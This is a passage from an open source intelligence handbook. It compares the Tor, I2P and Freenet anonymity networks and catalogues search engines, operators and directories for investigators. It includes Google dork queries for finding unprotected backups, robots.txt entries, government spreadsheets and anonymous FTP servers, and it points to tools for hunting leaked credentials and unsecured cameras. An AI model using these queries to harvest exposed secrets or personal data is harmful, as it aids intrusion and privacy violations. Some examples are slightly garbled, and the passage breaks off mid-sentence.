(tunnel) to direct inbound and outbound traffic. This will effectively improve the overall anonymity of the system and will make data delivery more flexible as each packet will take different routes to reach the destination, unlike Tor packets, which need to travel using a single path in both directions (the lifetime of each Tor circuit is ten minutes). I2P is faster when moving big files within its network than the Tor Network, which suffers from network congestion and service interruptions, as it uses only one route for data delivery. Tor uses a directory structure to view the overall performance of the entire network, as well as gather and report statistics. Tor directories maintain a list of all Tor nodes and hosted hidden services on the Tor Network and are placed in the United States and Europe. The I2P approach is to use a decentralized peer-to-peer network where there is no single point to view the entire network, and each peer (router) locally maintains a list of all known routers (relays). I2P uses Garlic encryption—which is a variant of Onion encryption—where multiple messages to different recipients are bundled together. This makes it harder for outside adversaries to analyze the traffic flow through the network and will also speed data transfer and make it more reliable. Tor has more exit relays compared to I2P. I2P uses the term outproxy to name its own exit relay routers. The number of I2P users is smaller than Tor. This makes the number of I2P outproxies considerably smaller than Tor exit relays. This will effectively make I2P more susceptible to outside traffic analysis compared with the Tor Network, which owns a large number of exit relays. Tor acts as a proxy server by using Secure Sockets (SOCKS), so any application (e.g., web browser, IM chat, or e-mail client) able to use SOCKS can be configured to use the Tor software directly. I2P uses its own API that must be implemented by any applications wanting to communicate through the I2P network. This makes I2P more ChApTer 3 The UNderGroUNd INTerNeT 123 secure and anonymous than Tor as its API is designed specifically for anonymity. However, applications should be adjusted to use it, and this is somehow costly and limits the number of applications that are ready to use the I2P network. Finally, Tor is well funded. It has a large user base and more supporters from the academic and hacker communities compared with I2P network. This clearly appears from its website, documentation, and the other projects currently underway. Tor also has an advantage in being written in the C language, making it faster when running on client machines than I2P, which is written using Java and consumes more RAM memory. To conclude, both I2P and Tor are excellent anonymous networks, but the context in which they are used determines which one is best in terms of performance and anonymity. For instance, I2P is preferred over Tor for hosting anonymous sites and for making communications within the I2P darknet as it is faster and gives stronger anonymity. Tor is preferred to anonymize your traffic when accessing the surface Internet, unlike I2P, which is almost unusable—and risky—for this task. Freenet Freenet is another anonymous network. It is a fully distributed, peer-to-peer anonymous publishing network. We will not cover how to use this network like we did with the previous ones. However, you can check out http://freesocial.draketo.de for a complete tutorial on how to use this anonymous network. Tor, I2P, and Freenet are the most popular anonymous networks currently available. Tor surpasses the other two in being more widely used and more mature. We recommend using the Tor Network for all your online work that requires anonymity. Going Forward As you saw during this chapter, searching for deep and dark resources is not straightforward. Current search engines are optimized to search the surface web and cannot search—and index contents—below it, even though some commercial companies that have developed some advanced search tools try to harvest data from the deep web (including dark web). The effectiveness of such tools is still limited in terms of retrieving accurate, linked, and complete results. ChApTer 3 The UNderGroUNd INTerNeT 124 Now, with the advance of computing technology and the widespread use of Internet services around the globe, more criminals are shifting their activities online. Black hat hackers, terrorist organizations, and countries controlled by oppressive regimes are also using the Internet—especially the darknet—to conduct illegal activities. Governments and law enforcement entities around the globe must utilize all resources possible to capture and prevent bad actors from using Internet technology to facilitate their crimes. To help overcome these challenges, the Defense Advanced Research Projects Agency (DARPA) in the United States has created the Memex program to help fight against human trafficking activity across the world. Memex is a next-generation search engine that focuses on helping law enforcement investigators find online perpetrators engaged in human trafficking in the cyberspace. Memex has the ability to search within the darknet and deep web in addition to the surface Internet to find linked information spread everywhere online to support investigators in their mission. Although the key mission of the Memex is to fight against global human trafficking, it can be used by intelligence services and other military organizations to collect and correlate useful OSINT information from the deep/dark web about anything they want. Summary The deep web and dark web have gained increased attention by researchers, law enforcement, and government entities. However, both terms are still unclear for most web users. In addition, the nature and technical architecture of darknet networks still lack clarity for many people. In this chapter, we shed light on the concept of Internet layers and demonstrated by example the contents of each layer and how they can be accessed to retrieve information from them. Two darknet networks were presented and compared. While Tor is a mature anonymity network with a wide user base and mostly used to browse the surface web anonymously because of its many exit nodes, I2P is beginning to get more attention as a preferred solution to host hidden websites inside the I2P darknet network because of its speed and stronger anonymity for both users and website operators. ChApTer 3 The UNderGroUNd INTerNeT 125 As we already said, many darknet websites are dedicated to illegal activities; it is not the purpose of this chapter to introduce you to such illegal services and teach you how to access them. We highly encourage a typical Internet user not to visit the darknet at all. The main point here is to introduce you, especially OSINT investigators, to how to use online anonymity tools like the Tor Browser and the Tails OS to conduct your online investigations safely and anonymously. The information presented in this chapter will also benefit online investigators when accessing and searching within the dark areas of the Internet. This chapter was dedicated to the deepest layers of the Internet. In the next chapter we will return to the surface to teach you how to use advanced techniques using typical search engines such as Google and Bing to search for OSINT resources online. Notes i. Internet World Stats, “World Internet Users and 2017 Population Stats,” November 5, 2017, www.internetworldstats.com/stats.htm. ii. Netcraft, “October 2017 Web Server Survey,” November 1, 2017, https://news.netcraft.com/archives/category/web-server- survey/. iii. Aclweb, “Classifying Illegal Activities on Tor Network Based on Web Textual Contents,” November 2, 2017, https://www.aclweb. org/anthology/E/E17/E17- 1004.pdf. iv. Techworm, “Tor and VPN users labeled as criminals will be hacked and spied by FBI under new law,” November 5, 2017, https://www.techworm.net/2016/05/tor-vpn- users-labeled- criminals-hacked-spied-fbi-new-law.html. ChApTer 3 The UNderGroUNd INTerNeT 127 © Nihad A. Hassan, Rami Hijazi 2018 N. A. Hassan and R. Hijazi, Open Source Intelligence Methods and Tools, https://doi.org/10.1007/978-1-4842-3213-2_4 CHAPTER 4 Search Engine Techniques The number of Internet users is increasing steadily, as is the number of active websites. According to Netcraft’s January 2017 Web Server Survey, there are 1,800,047,111 billion websites.i The number of pages on these websites changes continually according to many factors. Google Inside Search estimates that there are more than 130 trillion web pages discovered by Google; about 50 billion of them have been included in Google’s searchable index as of October 2017.ii Do not forget that Google—and similar search engines—cannot index the entire Web, as pages that belong to the deep/dark web cannot be discovered by typical search engines. As you can see, the number of web pages that exist is huge, and finding your way in this mass media would be very difficult without search engines. A search engine works by sending a crawler—automated software—to continually scan active websites to add the discovered content to its index, which is stored in massive databases. The user then queries the search engine index, which returns the results—that may contain a mix of web pages, images, videos, and other file types—as a list of matching sites ranked by relevance. Without a search engine, a user would need to access and check every website manually when seeking specific information. This would be a daunting task and consume a considerable amount of time for each search. Search engines also help users view only relevant results. For instance, search engine software scans each indexed page and selects a list of keywords from it to categorize it. When a user, for example, searches for cheap flight to Hawaii, all pages that offer flights to Hawaii will appear in the search result list. However, the top rank will be for the pages/websites strictly related to user search criteria. Please note that the algorithm for ranking websites in search results is secret for each search engine provider, and the rank for each website—even for the same query—can change hourly. However, the highest rank will be for the websites that satisfy the ranking algorithm criteria in terms of popularity and relevancy of the user’s search query. 128 Typical search engines like Bing and Google offer their services free of charge. They also offer advanced search features that can be used by users to conduct advanced searches. For example, Google offers a powerful Advanced Search (https://www. google.com/advanced_search) that gives more specific search results (see Figure 4-1). Figure 4-1. Google Advanced Search functionality returns more specific search results The internal mechanism of search engines is not as simple as their interface. The more sophisticated the search engine, the more complicated the algorithm it uses to find and index contents from the Web. In this chapter, we will cover how to use different types of search engines efficiently to locate information online. We will start by focusing on Google because it’s considered the largest one and has plenty of specialized operators to conduct advanced searches (also known as Google dorks). We will also cover how to search for specific digital file types such as images and videos in addition to using many free online services to validate your findings. Before we begin, let’s cover how to select search keywords to return the most relevant results from search engines. Chapter 4 SearCh engine teChniqueS 129 Keywords Discovery and Research As an OSINT investigator, you need to master the art of online searching, which requires you to use the correct search keywords. Typical search engines discover and index web pages using a variety of criteria. Apparently the most important one is the set of keywords available within the target page. Keyword discovery help searchers to expand the breadth of their searches to include different variations of the same keyword and uncover synonyms and semantically related terms and phrases so they can better find content that may be rarely accessed by typical users conducting similar searches. Keywords discovery is used extensively by online marketers in search engine optimization (SEO) to see which keywords are used by different people—using different search engines—to search for a similar topic. Online investigators can use the same technique to search for variations of a phrase/keyword in addition to acquiring intelligence about current search trends. The following are the most popular keyword research tools: • Google Keyword Suggest Tool (http://tools.seochat.com/tools/ suggest-tool): This gives keyword suggestions for Google, Bing, Amazon, and YouTube. • Google AdWords (https://adwords.google.com/home/tools/ keyword-planner/) and Google Trends (https://www.google.com/ trends): These will show search volume and matrices of Google searches for any geographical region in the entire world. • One Look (www.onelook.com/reverse-dictionary.shtml): Enter a word, phrase, sentence, or pattern to search for related words. Chapter 4 SearCh engine teChniqueS 130 Using Search Engines to Locate Information In this section, we will show how to utilize search engines to get precise results, beginning with the giant, Google. Google The Google search engine is the leader among its peers and has the greatest market share with more than 77 percent of global search traffic using it. The number of daily searches conducted by web users globally on search engines is huge. Table 4-1 shows the number of daily searches per search engine.iii Table 4-1. Number of Daily Searches by Major Search Engines Search Engine Searches per Day google 4,464,000,000 Bing 873,964,000 Baidu 583,520,803 Yahoo 536,101,505 Other (aOL, ask, etc.) 128,427,264 Most web users have used a Google web search to find something online. A Google basic search is what you see when visiting the Google home page (www.google.com). You type your search query into the Google search box and hit the Google Search button. Alternatively, you can use your voice to enter the search query by clicking the microphone icon. The Google home page offers other useful services such as searching for images, videos, newsgroups, and maps in addition to the Google Translate service. Let’s see how you can use some Google words to refine a basic search for better results. Warning! When using the following google search words (symbols), make sure not to put any space between the symbol and the search term (query). Chapter 4 SearCh engine teChniqueS 131 1. To search within social media sites, use the symbol @ followed by a social media name; then enter a colon your search query. For example, enter @facebook:nihad hassan to search for the term nihad hassan within Facebook). 2. To search for hashtags, put a # sign before your search term. For example, enter #USAelection. 3. To search for an exact match, surround your search term/phrase with quotation marks. For example, enter “data hiding”. 4. The tilde (~) operator searches for the word that comes after it directly and for its synonyms. For example, entering Excel ~guide will return Excel tutorials, tips, helper, video trainings, and anything synonymous with the word guide. 5. The OR operator in capital letters only—also written as a vertical bar (|)— is used to find pages that contain the searched terms. For example, entering Apress OR springer (or entering Apress|Springer) will retrieve pages that contain either the term Apress or the term Springer. 6. To exclude words from your search, put a minus (-) symbol in front of the word (phrase) that you want to leave out. For example, enter lacoste -animal. 7. To search for the unknown words, use the asterisk (*) to substitute it with one or more words. For example, enter data hiding in *. 8. Use the double dots (..) without spaces to provide a number range such as date, number, or price range. For example, enter USA earthquake 1980..2000. 9. To search for similar web pages, put the word related: in the front of the web address that you want to see similar pages of. For example, enter related:springer.com. 10. Use the word info: to return information that Google has about a certain domain. For example, enter info:springer.com. 11. Use the word define to find a definition of the supplied keyword. For example, enter define:information. Chapter 4 SearCh engine teChniqueS 132 12. Use the word cache: to return the Google-cached version of the web page. For example, enter cache:apress.com. 13. To search for information about a specific song or movie, enter Music: or Movie: followed by the song or movie name. 14. To check the current weather in any place around the world, use the weather keyword. For example, enter weather:London. 15. To show the stock price of any company, use the keyword stocks: followed by the company ticker symbol. For example, entering stocks:MSFT will show stock information for Microsoft Corporation. You can fetch any company stock ticker symbol by going to https://www.marketwatch.com/tools/quotes/lookup.asp. 16. Use the keyword map: followed by location name and Google will show you map- based results. For example, enter map:New York. 17. Enter time keyword to check the current date/time of your current location. To find the time of another location, precede the time keyword with the location name (for example, enter time New York). Note! http://localtimes.info shows an interactive map of the time around the world right now. www.thetimenow.com shows the date, time, and a calendar in addition to weather forecasts and more information about the current location. (the current location is detected using your connection ip address, so make sure to update your location if you are using a Vpn service that masks your real ip address.) 18. Google also can be used as a converter between currencies and measures. For example, enter (190 cm in feet) or (1000 dollars in yen). 19. You can even check flight information using Google. Type your airline company name and the flight number in the Google search box and it will show you flight status information graphically (see Figure 4-2). Chapter 4 SearCh engine teChniqueS 133 Google is also famous for its image search. For instance, to search for a specific image, you can use the Google Advanced Image Search at https://www.google.com/ advanced_image_search, which allows you to set different image search criteria (such as size, color, type, etc.) to locate your target image. Basic search is suitable for beginners, and you do not need to worry about the spelling or capitalization of your searched keywords because Google will fix this for you. However, when it comes to fetching relevant information related to a specific topic, you need to use the Google special operators to return information that is difficult to locate through simple search queries. Google Advanced Operators The advanced options are also known as Google hacking or Google dorks. Google hacking occurs when a user combines search keywords with advanced Google search operators to locate hidden information that is difficult to locate using a basic Google search. For example, Google hacking can be used to find vulnerable web servers or lists of personally identifying information (PII) files for employees/clients in a Figure 4-2. Showing information for the American airline company, flight 10 Chapter 4 SearCh engine teChniqueS 134 specific company that could have been left on a company server without protection. Cybercriminals, black hat hackers, and even terrorists use this technique to collect sensitive data online to facilitate launching further attacks against the target. In the following list, we show examples of advanced Google search operators beginning with the simplest. The general format is as follows: operator:search_term. (There is no space between the operator, the colon, and the keyword search). • The site operator asks Google to search within one website or domain. For example, if you enter hide site:darknessgate.com, Google will search for the word hide within the darknessgate.com website only. Using the same operator, you can restrict your search within one domain type. For example, enter computer forensics site:gov to search for the term computer forensics in all websites with the .gov domain. • Insert your query search term after the allintext operator and Google will restrict its search to all pages that contain the terms specified. For example, enter allintext:free SMicrosoft service and Google will only return the pages that have the three terms free and SMS and service within its text. • Begin your search with the allintitle operator and follow it with your search terms. Google will only return the pages that contain your searched query in their titles. For example, enter allintitle:Nihad hassan to have Google return all pages that have nihad hassan in their title (the page title appears at the top of the browser window), as shown in Figure 4-3. Figure 4-3. Searching within page titles for a specific term Chapter 4 SearCh engine teChniqueS 135 • If you use the allintitle operator in an image search, it will return images in files whose names contain the specified search query. • Begin your search with the allinurl operator followed by your search term and Google will restrict its results to all the pages that contain your searched terms in their URL. For example, enter allinurl:OSINT intelligence and Google will return pages with the terms OSINT intelligence in their URLs (see Figure 4-4). You cannot include other search operators with the allinurl operator. • When using the filetype suffix with your search terms, Google will restrict the results to web pages that end with this extension. For example, enter osint intelligence filetype:PDF and Google will return PDF files that match the specified search query. • To search for more than one file type, add their extensions to the search query as follows: osint intelligence filetype:pdf OR filetype:doc. Google supports searching for different file types; the list of indexable file formats is available at (https://www.google. com/support/enterprise/static/gsa/docs/admin/74/gsa_doc_ set/file_formats/file_formats.html). All these examples are simple demonstrations of how you can use advanced Google search operators to return accurate relevant results. Online investigators should be creative and work to develop their search skills by utilizing different search operators in one statement to return the best results. Figure 4-4. Using the Google allintitle operator Chapter 4 SearCh engine teChniqueS 136 Note! google advanced Search (https://www.google.com/advanced_ search) allows users to use advanced search operators without typing them manually into the search box, although it still has limitations on conducting more creative searches. however, it’s still considered a great tool for casual users to search google professionally. Google Hacking Database The Google Hacking Database (see Figure 4-5) created by Johnny Long contains hundreds of ready-to-use advanced Google search terms that can be used to acquire intelligence online. It can help you to find the following and more: • Vulnerable web servers • Files that contain sensitive information such as usernames/ passwords in addition to configuration files that contain settings and other important information from Internet devices • Sensitive directories left without protection • Error messages generated by servers, databases, and other software that can be exploited to invade information systems • Information about network devices such as firewalls, IDS logs, and configurations • Different IoT devices and the control panels of unprotected ones • Hidden pages such as intranets, VPN services, and others Chapter 4 SearCh engine teChniqueS 137 Here are some examples search terms that you can use on Google to find sensitive information online: • “Index of /backup”: This will return a list of unprotected servers that contain backup data. Such files can contain sensitive information. • “robots.txt” “Disallow:” filetype:txt: The robots.txt file usually resides within the root directory of a web server and instructs search engine crawlers on the parts of your website that you do not them to look at (in other words, that you want ignored from the indexing process). Hackers check robots.txt files to see the unindexed files to gain intelligence or to access sensitive locations. • budget site:gov filetype:xls: This query will return all publicly accessible Microsoft Excel spreadsheets with the term budget from all websites that have the .gov domain name. Figure 4-5. Google Hacking Database (www.exploit-db.com/google-dorks) Chapter 4 SearCh engine teChniqueS 138 Note! to find updated lists of google dorks, run the following searches using google: allintext:Google Dorks filetype:pdf allintitle:Google hacking Search Engines Powered by Google While Google is great at web searches, it does not have a clean record in terms of respecting a user’s privacy. Google and other giant IT providers monitor their users’ online activities to some extent to understand their browsing habits and thus target them with customized advertisements. Another disadvantage for using a Google search is the fact that Google records your previous searches and may omit some results from future searches if it finds them irrelevant to your browsing habits. This is dangerous for online investigations because it may limit the result set returned by Google, according to the searcher’s previous browsing history. The Google search algorithm is considered the best one for returning relevant results. However, for privacy-conscious people, there are many search engines that retrieve their search results from Google without invading users’ privacy by collecting information about their searches. These are the most popular ones: • StartPage (https://www.startpage.com) • Lukol (https://www.lukol.com) • Mozbot (https://www.mozbot.com ) Bing Bing is the second most popular search engine after Google; it was developed by Microsoft and is the default search engine in the Internet Explorer and Edge browsers. Bing has many similarities to Google basic search operators. Table 4-2 lists the main search operators that can be used to refine your search on Bing (don’t use a space after the colon in the examples). Chapter 4 SearCh engine teChniqueS 139 You can compare the results retrieved by Google and Bing for the same search query by going to http://bvsg.org/index.html. Another useful service that allows you to construct complex search queries for both Google and Bing visually is Advangle (http://advangle.com), as shown in Figure 4-6. You can also save your queries in an Advangle account (registration is free) to return to them later. Table 4-2. Bing Search Operators Operator Example Description “” “French food” Searches for an exact phrase nOt or minus sign Virus -computer excludes web pages that contain a term or phrase. Or Nokia OR Apple Searches for any of these words Nokia or Apple define: define:computer gets a definition for the specified word Site: Windows site:darknessgate.com Limits your search results to one site (searches within one site for a specific word or phrase) Filetype: Bing search operator filetype:pdf Searches for results with a specific file type (pDF in this example) inbody: inbody:digital privacy returns web pages that contain the specified term in the body of the page ip ip:193.70.110.132 Finds all websites hosted by the specified ip address Language: unicef language:ar returns web pages for a specific language; in this example, we searched for the word UNICEF in arabic pages only (note: to see the list of country, region, and language codes supported by Bing, go to http://help.bingads. microsoft.com/apex/index/18/en-US/10004.) Feed: feed:computer security Finds rSS feeds on the websites that match your search criteria prefer: computer hacking prefer:tutorials adds emphasis to a search term or to another search operator to focus the search results on it; in this example, we are searching for the terms computer hacking but with an emphasis on tutorials Chapter 4 SearCh engine teChniqueS 140 Privacy-Oriented Search Engines These are the most popular search engines that don’t track user activities: • DuckDuckGo (https://duckduckgo.com/): Online investigators usually use this to search the surface web while using the Tor Browser. • Qwant (https://www.qwant.combased): This is based in France. • Oscobo (https://oscobo.co.uk): This is based in the United Kingdom. • Swisscows (https://swisscows.com): This is a privacy-safe web search based in Switzerland. • Privatelee (https://privatelee.com): Search for web and images privately. • Gigablast (https://www.gigablast.com): This is an open source search engine. • Gibiru (www.gibiru.com): This is an uncensored and anonymous search engine. Figure 4-6. Using the Advangle service to build an advanced Google and Bing query Chapter 4 SearCh engine teChniqueS 141 Other Search Engines Many OSINT investigators prefer to use more than one search engine to fetch results. Indeed, you will be surprised at the diversity of results when using different search engines to search for the same query. Table 4-3 lists other popular search engines that can be used to locate information online, by popularity. Bear in mind that you should anonymize your connection before conducting any search, or you can simply use the Tor Browser to conduct your search. Table 4-3. Other Search Engines Number Search Engine Name URL 1 Yahoo! advanced web search https://search.yahoo.com/web/advanced 2 Yandex https://www.yandex.com 3 aOL http://search.aol.com 4 Dothop http://dothop.com/home 5 excite www.excite.com 6 goodsearch https://www.goodsearch.com 7 Factbites www.factbites.com 8 infospace http://infospace.com 9 Lycos www.lycos.com/ 10 exalead www.exalead.com/search/web/ 11 Search https://www.search.com/ 12 Search engine Colossus http://searchenginecolossus.com (contains a directory of search engines from 317 countries and territories worldwide, covering all spoken world languages) 13 Search engines Directory www.searchengineguide.com/searchengines.html 14 the ultimate Search engine Links page www.searchenginelinks.co.uk/ Chapter 4 SearCh engine teChniqueS 142 There are also national search engines that can be used to search for information in specific countries. Table 4-4 lists the main ones by popularity. Business Search Sites Although the term OSINT comes from the military, its value has not been limited to this context only. Nowadays, businesses rely heavily on OSINT to empower their decision- making processes in addition to predicting future events. Table 4-4. Popular National Search Engines Number Search Engine Name URL Country 1 Yandex https://www.yandex.com russia 2 Search https://www.search.ch/ Switzerland 3 alleba www.alleba.com/ philippines 4 Baidu https://www.baidu.com China 5 eniro https://www.eniro.se Sweden 6 Daum https://www.daum.net (www.naver.com) South Korea 7 goo www.goo.ne.jp Japan 8 Onet https://www.onet.pl poland 9 parseek www.parseek.com iran 10 SapO https://www.sapo.pt portugal 11 aOnDe www.aonde.com Brazil 12 Lableb https://www.lableb.com arabic-based search engine Chapter 4 SearCh engine teChniqueS 143 Finding information about corporations is essential for any online investigation. For example, business information gathered from OSINT sources can reveal important information such as business profits, current and future projects, business hierarchy, and company dates (such as annual meetings, corporate holidays, or investor meetings). Such information is helpful in many cases (for example, to find out whether a specific company or a person was part of a tax evasion case). In this section, we will list sites that can be used to retrieve important information about businesses globally. Find Business Annual Records An annual report is a document issued by a company to its stockholders once a year. It contains valuable information about a corporation’s financial status such as its budget, financial position, profits, loss, management and auditor reports, and cash flow. You can also find a general description about the industry in which the intended company belongs. The following sites give free access to thousands of annual reports published by different industries: • www.annualreports.com lists thousands of annual records from 5,333 companies worldwide. • https://www.reportlinker.com contains more than 60 million searchable tables, figures, and datasets. • https://www.gov.uk/government/publications/overseas- registries/overseas-registries lists all the company registries located around the world offered by the U.K. government. • https://www.sec.gov/edgar/searchedgar/companysearch.html is the U.S. Securities and Exchange Commission (see Figure 4-7). Chapter 4 SearCh engine teChniqueS 144 • www.sedar.com gives access to public securities documents and information filed by all Canadian securities administrators. • https://www.commercial-register.sg.ch/home/worldwide.html gives a list of government and commercial registers around the globe. Annual reports can also be found on a corporation’s website; simply go to the About Us page or conduct a search for annual report using the corporate site search facility to find such files. They usually come in PDF or HTML format. Figure 4-7. Searching for company filings on www.sec.gov Chapter 4 SearCh engine teChniqueS 145 Business Information (Profiles) Corporation profile and directory websites provide valuable information about companies such as their addresses, location, branches, contact details, staff names (and may include their business phone numbers and e-mails), types of service or industry, and a lot more. The following are the most popular business profile sites to retrieve such information: • Open Corporates (https://opencorporates.com): This is the largest open database of companies in the world. • Crunchbase (https://www.crunchbase.com): Provides information about business companies, from early-stage startups to Fortune 1000. • Corporationwiki (https://www.corporationwiki.com): This allows you to search for any company and visualize the connection between people working within it. You can also download an Excel file that contains detailed information (including a link to a page on the site containing the person’s known address) about each person who works within the company. • Zoom Info (https://www.zoominfo.com/company-directory/us): This site lists companies in the United Sates categorized by industry and offers information—including contact details—for people working in these companies. The service is paid and offers a trial to test the service. • Kompass (https://www.kompass.com/selectcountry/): This is a global business-to-business portal with information about companies in more than 60 countries. • Infobel (www.infobel.com): You can search for a company or a person anywhere in the world. • Orbis directory (https://orbisdirectory.bvdinfo.com/ version-20171019/OrbisDirectory/Companies): This gives information about private companies globally for free. The paid service offers more detailed reports. • Manta (https://www.manta.com/business): This is a business directory for U.S. businesses. Chapter 4 SearCh engine teChniqueS 146 • Canadian Company Capabilities (http://strategis.ic.gc.ca/ eic/site/ccc-rec.nsf/eng/Home): This is a website maintained by the Canadian government; it has a database of 60,000 Canadian businesses categorized according to each one industry. Each business profile contains information on contacts, products, services, trade experience, and technology. • Canadian Importers Database (https://strategis.ic.gc.ca/ eic/site/cid-dic.nsf/eng/home): This provides lists of companies importing goods into Canada, by product, by city, and by country of origin. • LittleSis (https://littlesis.org): This is a powerful profiling website that lists a wealth of information about 185,000 people and 67,000 organizations in varying stages of completion. This site targets powerful individuals and organizations in the public and private sectors such as politicians, businesspeople, lobbyists, business corporations, and nonprofit organizations such as foundations, social clubs, arts groups, and political organizations. • Companies House (https://beta.companieshouse.gov.uk): This is a U.K. businesses register (also contains information about individuals in different industries within the United Kingdom). • CDREX (http://cdrex.com): This provides information—including GPS location—for U.K. business (about 7 million companies categorized according to location or industry). • EUROPAGES (https://www.europages.co.uk): This is an European business-to-business portal that holds 3 million registered businesses in 26 languages. • Vault (www.vault.com): This has information about U.S. companies (more than 5,000 companies in 120 industries). Employee reviews and rankings are also available for each listed company. Paid subscribers have access to detailed information. • Owler (https://www.owler.com): This is a wealth of information on more than 15 million businesses around the world. Chapter 4 SearCh engine teChniqueS 147 • The United Kingdom Limited Liability Company list (https://www. companiesintheuk.co.uk): Provides free information and official documents about any Limited Liability company in the UK. • Kvk (www.kvk.nl): This is the Dutch Chamber of Commerce, which is a German company registry. • International White and Yellow Pages (www.wayp.com): This contains names, addresses, phone numbers, and fax numbers. Finally, it is worth mentioning Google Finance (https://finance.google.com/ finance). This gives detailed up-to-date information on world markets and company news. Metadata Search Engines When you conduct a search using a typical search engine like Google, your query will get processed by the search engine, which looks up your search query in its index database and retrieves relevant results accordingly. Metasearch engines are different; these engines do not have their own indexes. Instead, they send your search query to other search engines (such as Google, Bing, and Yahoo) in addition to other third-party data sources. Then they retrieve the results, rank them, and present the final output to you through their web interface. Metasearch engines make agreements with the “true” search engine providers (like Google and Bing) to allow them to search and retrieve content from their indexes. Some meta search engines do use their own ranking schema to present the compiled results to end users. However, they cannot interfere with—or decide—the rank and relevancy of contents delivered to them by their data sources. Thus, you should usually stick to the top results from each partner search engine. A major advantage of metasearch engines is their ability to compile results from many sources for each user search inquiry. Searching multiple sources instantly will reduce the time required for conducting the search and will return more comprehensive Chapter 4 SearCh engine teChniqueS 148 Figure 4-8. Showing the source result of your search query when using etools.ch results without forgetting the enhanced privacy compared with other typical search engines (like Google and Bing). In the following list, we discuss the most popular metasearch engines currently available: • www.etools.ch/search.do compiles its results from major international search engines, preserving user privacy by not collecting or sharing personal information about its users. This search engine is fast and shows a summary for each search query— on the right side—detailing the source of its results (see Figure 4-8). • All the Internet (https://www.alltheInternet.com) queries major search engines including shopping sites like Amazon and eBay. • Fagan Finder (www.faganfinder.com/engines) queries the major search engines as well as answer engines and question-and-answer sites and blogs. Chapter 4 SearCh engine teChniqueS 149 • www.izito.com aggregates data from multiple sources (Yahoo, Bing, Wikipedia, YouTube, and others) to generate optimal results that include images, videos, news, and articles. • Metacrawler (www.metacrawler.com) aggregates results from Google and Yahoo. • My All Search (https://www.myallsearch.com) aggregates results through Bing, DuckDuckGo, AOL Search, Ask, Oscobo, Mojeek, ZapMeta, and MetaCrawler. • Carrot2 (http://search.carrot2.org/) aggregates results from the Google API, Bing API, eTools Meta Search, Lucene, SOLR, and more. It organizes results into thematic categories (circles and foam trees) helping users to narrow down their search visually by dividing it into many topics (see Figure 4-9). Figure 4-9. Carrot2 dividing search results into thematic categories Chapter 4 SearCh engine teChniqueS 150 • elocalfinder (www.elocalfinder.com/HSearch.aspx) fetches results from Google, Yahoo, Ask, and Bing and displays them in a table for comparison along with the overall ranking. • Opentext (http://fqs.opentext.com/web.htm) is a metasearch engine based on Google, Yahoo!, Ask, Bing, Wikipedia, and Open Directory. It also offers a search utility to search within social sites like Facebook, Twitter, YouTube, and LinkedIn in addition to news search engines (aggregating results from the Guardian, Reuters, the Washington Post, BBC News, and the Los Angeles Times) and health search engines. Code Search As an online investigator, you may encounter cases when you need to search for a snippet of code (for example, to reconstruct embedded software). The following are the major source code search engines: • Searchcode (https://searchcode.com) searches Google code, GitHub, Bitbucket, CodePlex, Sourceforge, Fedora Project, and GitLab. • Nerdaydata (https://nerdydata.com/search) requires a monthly subscription to unlock all features. • Krugle (www.krugle.org) is another one. • Codase (www.codase.com) searches 250 million lines of code. • The O’Reilly source code search (http://labs.oreilly.com) gives access to all code snippets in O’Reilly books. • Symbolhound (http://symbolhound.com) searches code search engines and doesn’t ignore special characters. • Merobase (http://merobase.com) is a code search engine for Java software components. • GitHub Dorks (https://github.com/techgaun/github-dorks) searches a Python tool to search sensitive data, such as private keys, credentials, and authentication tokens on different repositories. Chapter 4 SearCh engine teChniqueS 151 FTP Search Engines File Transfer Protocol (FTP) is an old protocol invented in the early days of the Internet and still used by millions of websites. As its name implies, it is used to transfer files between computers across networks like the Internet. Web hosting companies usually give its customers an FTP account to transfer files to their hosting space. Many companies, universities, institutions, and collaboration projects put large archive files and other downloadable software on FTP servers to facilitate sharing among its employees. FTP accounts can be accessed using a special client such as FileZilla (https://filezilla-project.org) that supports uploading, downloading, and renaming files. Companies usually protect their FTP servers with a password. However, you can find plenty of them left unsecured online (without a password), and such public FTP servers can be accessed through web browsers directly to view/download their contents. According to the IEEE Computer Society,iv there are more than 13 million FTP servers in the world, 1.1 million of which allow “anonymous” (public) access. A wealth of useful information can be found on public FTP servers, ranging from music and video files to licensed software, tax documents, and cryptographic secrets in addition to personal files and directories. When searching for contents on FTP servers using specialized FTP search engines, you are only searching for filenames and directories, as indexing all the content on all FTP servers is difficult and cannot be achieved easily. Let’s first begin testing some techniques with Google to find content on FTP servers; see Table 4-5. Table 4-5. Advanced Google Search Queries to Find FTP Servers Google FTP Search Query Meaning inurl:“ftp://www.” “Index of /” this search query can be used to find Ftp servers online. inurl:ftp -inurl:(http|https) “SEARCH QUERY” use this to search for all Ftp servers that have the specified search query. Chapter 4 SearCh engine teChniqueS 152 The following are some sites to search FTP servers: • Global file search (http://globalfilesearch.com) • Filemare (https://filemare.com/en-nl) • Archie (http://archie.icm.edu.pl/archie_eng.html) • File watcher (www.filewatcher.com) Automated Search Tools Automated tools allow an online searcher to automate the search process using major search engines such as Google, Bing, and Shodan. Automated tools are fast and allow you to test large numbers of search queries continually, thus returning more comprehensive results because the search tool can construct complex search queries better than a human. The following sections highlight the most famous automated search tools. SearchDiggity This is the most well-known search engine hacking tool; it is a Windows GUI application that connects you to famous search engines’ hacking databases such as the Google Hacking Database. It works by automating the search process on different search engine platforms such as Google, Bing, Shodan, CodeSearch, and others, and it presents the results within the program’s main interface. See https://www.bishopfox.com/ resources/tools/google-hacking-diggity/attack-tools. SearchDome This is an online service that allows you to automate your search on eBay.com using a wide array of search criteria (see Figure 4-10). See https://www.searchdome.com/ebay. Chapter 4 SearCh engine teChniqueS 153 Jeviz This is an Amazon advanced search engine currently focused on the United States; it allows a user to search within an Amazon website and find deep links that are difficult to locate using the typical Amazon search engine. See https://www.jeviz.com. Internet Of Things (IoT) Device Search Engines There are many dedicated search engines for Internet-connected devices (known as IoT devices). The following are some popular websites that help you discover such devices online: • Shodan (https://www.shodan.io): Shodan is the world’s first search engine for Internet-connected devices. • 123Cam (http://123cam.com List): This is a free webcam from different countries around the world. Figure 4-10. Use SearchDome to conduct advanced searches within eBay.com Chapter 4 SearCh engine teChniqueS 154 • AirportWebcams (http://airportwebcams.net): This is the largest database of airport webcams (more than 1,800 webcams) from different countries around the world. • Insecam (www.insecam.org): This is a directory of online surveillance security cameras. • Lookr (https://www.lookr.com): This lists live webcams from different places around the world. • Open Street Cam (https://www.openstreetcam.org/map): This lists street webcams from around the world. • Pictimo (https://www.pictimo.com): This searches for live streaming webcams from around the world. • Reolink (https://reolink.com/unsecured-ip-camera-list): This is a list of 